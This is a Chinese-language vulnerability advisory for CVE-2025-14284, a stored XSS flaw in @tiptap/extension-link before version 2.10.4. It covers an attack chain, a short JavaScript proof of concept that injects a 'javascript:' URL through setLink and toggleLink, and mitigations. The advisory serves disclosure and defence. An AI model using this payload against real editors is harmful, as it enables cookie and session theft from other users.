IPBUF安全漏洞报告
English
CVE-2025-14284 CVSS 6.1 中危

CVE-2025-14284: @tiptap/extension-link XSS跨站脚本漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-14284
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
@tiptap/extension-link

相关标签

XSS跨站脚本@tiptapextension-linkjavascript协议注入内容管理系统编辑器漏洞

漏洞概述

CVE-2025-14284是存在于@tiptap/extension-link包中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响2.10.4之前的所有版本。由于该扩展在处理链接设置和切换功能时,未对用户输入进行充分的HTML实体转义和URL协议验证,导致攻击者可以注入恶意的javascript:协议URL。当其他用户访问或触发包含恶意链接的内容时,浏览器会执行攻击者注入的JavaScript代码,从而实现会话劫持、敏感数据窃取、钓鱼攻击等恶意行为。此漏洞的CVSS评分为6.1,属于中危级别,需要用户交互才能触发,但攻击复杂度较低,且可通过网络远程利用。

技术细节

该漏洞源于@tiptap/extension-link扩展在处理链接输入时的输入验证不足。具体问题在于:(1) 当用户在编辑器中设置或修改链接时,扩展允许直接输入javascript:协议开头的URL;(2) 扩展未对用户输入进行HTML实体编码或URL协议白名单校验;(3) 生成的链接标签被直接渲染到DOM中,浏览器会解析并执行javascript:协议。攻击者可通过在链接的href属性中注入类似javascript:alert(document.cookie)的payload,当受害者点击该链接或页面自动触发时,恶意JavaScript代码即在受害者浏览器上下文中执行。由于Tiptap编辑器常用于内容管理系统、博客平台、协作工具等场景,攻击成功后可直接获取用户会话Cookie、键盘记录或进行进一步的社会工程攻击。

攻击链分析

STEP 1
1
攻击者访问使用@tiptap/extension-link的Web应用编辑器
STEP 2
2
攻击者在编辑器中输入或修改链接,注入javascript:alert()等恶意payload
STEP 3
3
编辑器将恶意链接内容保存到数据库(存储型XSS)
STEP 4
4
受害用户访问包含恶意链接的页面内容
STEP 5
5
受害用户点击恶意链接或触发自动执行
STEP 6
6
浏览器解析javascript:协议并执行攻击者注入的JavaScript代码
STEP 7
7
攻击成功,可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14284 PoC - @tiptap/extension-link XSS // This PoC demonstrates how to inject javascript: URL in link extension const { Editor } = require('@tiptap/core'); const Link = require('@tiptap/extension-link'); // Create editor with vulnerable link extension const editor = new Editor({ extensions: [ Link.configure({ openOnClick: false, HTMLAttributes: { rel: 'noopener noreferrer', }, }), ], content: '<p>Click the link below:</p>', element: document.querySelector('#editor'), }); // Attack payload - inject javascript: URL as link // When clicked, this will execute arbitrary JavaScript const maliciousPayload = 'javascript:alert("XSS Vulnerability - CVE-2025-14284")'; // Method 1: Set link via commands editor.chain().focus().setLink({ href: maliciousPayload }).run(); // Method 2: Toggle link with malicious URL editor.chain().focus().toggleLink({ href: maliciousPayload }).run(); // Generated HTML will contain: // <a href="javascript:alert('XSS Vulnerability - CVE-2025-14284')">...</a> // Exploitation scenario: // 1. Attacker inserts the malicious link into editor content // 2. Content is saved/stored (stored XSS) // 3. Victim views the content containing the malicious link // 4. Victim clicks the link or it auto-triggers // 5. JavaScript code executes in victim's browser context console.log('Generated HTML:', editor.getHTML());

影响范围

@tiptap/extension-link < 2.10.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:(1) 在前端对链接输入进行客户端验证,过滤javascript:等危险协议;(2) 使用DOMPurify等HTML消毒库对编辑器输出内容进行处理;(3) 配置严格的Content-Security-Policy响应头,禁止执行内联脚本;(4) 对编辑器内容进行服务器端二次验证和转义;(5) 限制编辑器在生产环境中的使用场景,避免处理不可信用户输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表